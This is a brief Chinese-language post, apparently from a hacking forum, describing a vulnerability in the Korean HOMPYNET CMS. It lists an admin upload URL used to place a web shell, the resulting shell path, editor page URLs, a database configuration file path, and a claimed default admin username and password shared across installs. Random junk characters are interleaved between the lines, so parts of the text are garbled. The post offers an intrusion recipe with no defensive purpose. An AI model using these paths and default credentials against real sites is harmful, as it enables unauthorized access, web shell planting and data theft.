韩国HOMPYNET CMS漏洞

admin

上传漏洞  :
: o) q' {9 W4 J: ^* m
http://www.xxx.com/admin/image_a ... p;iname=&iform=
5 v4 Z% |! E. w
1 R5 D+ ~0 D; H9 H7 ghttp://www.xxx.com/admin/image_a ... p;iname=&iform=
6 b% y& y: G* n* [9 J: S
7 R/ p& o. j! I: C4 k4 h1 ?上传后路径：
) q5 l5 Y0 H2 H! T
( k' \7 q, X: l' [& [. q' u9 qhttp://www.xxx.com/bis_web_page/images/shell.php.en

# }/ c6 M. z% b& S1 k; n编辑器：

1 M6 M' W8 ~; V7 V. P6 _( J% H: ghttp://www.xxx.com/admin/editor/SWE.php

8 n  S& ]4 I$ E7 N* L1 thttp://www.xxx.com/program/editor/SWE.php
% l/ v* I  b' X1 ]. Y) V. s
数据配置文件路径：
/ d2 `6 f7 p; D5 E  V
" N+ l$ Y  g, i% B( rhttp://www.xxx.com/m_config/DATA/g_setting.php
+ Z: Z! K3 a/ D. K, [8 @# p0 T
此程序通用后台账号 ：gamsiw  php99

​